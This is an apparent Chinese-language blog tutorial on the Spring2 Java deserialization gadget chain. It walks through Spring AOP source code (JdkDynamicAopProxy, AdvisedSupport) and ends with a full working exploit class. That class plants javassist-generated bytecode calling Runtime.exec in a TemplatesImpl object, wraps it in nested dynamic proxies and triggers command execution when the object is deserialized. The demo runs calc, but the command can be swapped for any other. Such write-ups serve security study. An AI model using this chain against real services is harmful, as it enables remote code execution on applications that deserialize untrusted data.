【Web】浅聊Java反序列化之Spring2链——两层动态代理

请确保已阅读过前文或对Spring1链至少有一定认知：【Web】浅聊Java反序列化之Spring1链------三层动态代理-CSDN博客

简介

Spring2 和 Spring1 的反序列化过程基本相同，唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现，同时其还实现了 AopProxy 接口。

个人觉得Spring2较Spring1更快刀斩乱麻，思路更清晰，构造更干净(毕竟只用了两层代理

简话JdkDynamicAopProxy

①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口

所以我们要清楚地认知，其本质也是handler，用作构造动态代理类

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable

②其构造方法接收一个AdvisedSupport类型的参数config，并赋值给advised

public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
        Assert.notNull(config, "AdvisedSupport must not be null");
        if (config.getAdvisors().length == 0 && config.getTargetSource() == AdvisedSupport.EMPTY_TARGET_SOURCE) {
            throw new AopConfigException("No advisors and no TargetSource specified");
        } else {
            this.advised = config;
        }
    }

这段代码的作用是根据传入的 AdvisedSupport 对象进行初始化，确保必要的属性不为空。如果属性不满足要求，则抛出异常。否则，将 config 赋值给类的成员变量 advised，完成初始化操作。

③JdkDynamicAopProxy#invoke

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object oldProxy = null;
        boolean setProxyContext = false;
        TargetSource targetSource = this.advised.targetSource;
        Class<?> targetClass = null;
        Object target = null;

        Integer var10;
        try {
            if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
                Boolean var18 = this.equals(args[0]);
                return var18;
            }

            if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {
                Object retVal;
                if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
                    retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
                    return retVal;
                }

                if (this.advised.exposeProxy) {
                    oldProxy = AopContext.setCurrentProxy(proxy);
                    setProxyContext = true;
                }

                target = targetSource.getTarget();
                if (target != null) {
                    targetClass = target.getClass();
                }

                List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
                if (chain.isEmpty()) {
                    retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
                } else {
                    MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                    retVal = invocation.proceed();
                }

                Class<?> returnType = method.getReturnType();
                if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
                    retVal = proxy;
                } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
                    throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
                }

                Object var13 = retVal;
                return var13;
            }

            var10 = this.hashCode();
        } finally {
            if (target != null && !targetSource.isStatic()) {
                targetSource.releaseTarget(target);
            }

            if (setProxyContext) {
                AopContext.setCurrentProxy(oldProxy);
            }

        }

        return var10;
    }

先是获取advised 里的 TargetSource存进targetSource里，并调用 getTarget() 方法返回其中的对象存进target里。(我知道你想问什么，后面会讲的)

接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args)

 public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
        try {
            ReflectionUtils.makeAccessible(method);
            return method.invoke(target, args);
        }

这段代码的作用是通过反射机制调用目标对象的指定方法，并传入相应的参数，实现了对目标对象方法的动态调用

总结一下就是：JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。

而方法名是我们可控的(从MethodInvokeTypeProvider传入)，那我们只要让target成员为恶意TemplatesImpl，并把方法名设置为newTransformer就可调用**++TemplatesImpl#newTransformer++**，这样就免去了三层代理的繁琐。

关于target的出身------`AdvisedSupport`

现在的问题来到了，如何让target成员为恶意TemplatesImpl？

我们知道target来源自this.advised.targetSource.getTarget()，而advised是一个 AdvisedSupport类

看下AdvisedSupport类的构造方法

public AdvisedSupport() {
        this.targetSource = EMPTY_TARGET_SOURCE;
        this.preFiltered = false;
        this.advisorChainFactory = new DefaultAdvisorChainFactory();
        this.interfaces = new ArrayList();
        this.advisors = new LinkedList();
        this.advisorArray = new Advisor[0];
        this.initMethodCache();
    }

this.advised.targetSource是个TargetSource接口的实现，但没有对getTarget进行重写

public interface TargetSource extends TargetClassAware {
    Class<?> getTargetClass();

    boolean isStatic();

    Object getTarget() throws Exception;

    void releaseTarget(Object var1) throws Exception;
}

如果猜测getTarget是个getter方法，从对称的角度，++我们不难想到可以用setTarget来放入恶意TemplatesImpl++，但出于严谨还是得跟一下具体调用

public void setTarget(Object target) {
        this.setTargetSource(new SingletonTargetSource(target));
    }

跟进setTargetSource

public void setTargetSource(TargetSource targetSource) {
        this.targetSource = targetSource != null ? targetSource : EMPTY_TARGET_SOURCE;
    }

经典三目运算，如果传入的 targetSource 不为 null，则设置为传入的 targetSource；如果传入的 targetSource 为 null，则设置为默认的 EMPTY_TARGET_SOURCE

targetSource从哪来？从new SingletonTargetSource(target)来。

再回头，跟一下SingletonTargetSource，发现就是给this.target赋值为target

public SingletonTargetSource(Object target) {
        Assert.notNull(target, "Target object must not be null");
        this.target = target;
    }

然后new一个SingletonTargetSource对象传入setTargetSource，从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象，而该对象的target属性就是由我们传入的。

所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。

EXP

pom依赖

<dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>4.1.4.RELEASE</version>
        </dependency>
    </dependencies>

召唤计算器的神奇的咒语

package com.spring;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;


public class Spring2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");

        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(templates);

        Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
        con0.setAccessible(true);
        InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
        Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);

        HashMap<String, Object> map2 = new HashMap<String, Object>();
        map2.put("getType", aopProxy);
        Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
        con2.setAccessible(true);
        InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Override.class, map2);
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);

        Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
        con3.setAccessible(true);
        Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setValue(o, "methodName", "newTransformer");

        ser(o);
    }

    public static void ser(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

【Web】浅聊Java反序列化之Spring2链——两层动态代理

简介

简话JdkDynamicAopProxy

关于target的出身------AdvisedSupport

EXP

关于target的出身------`AdvisedSupport`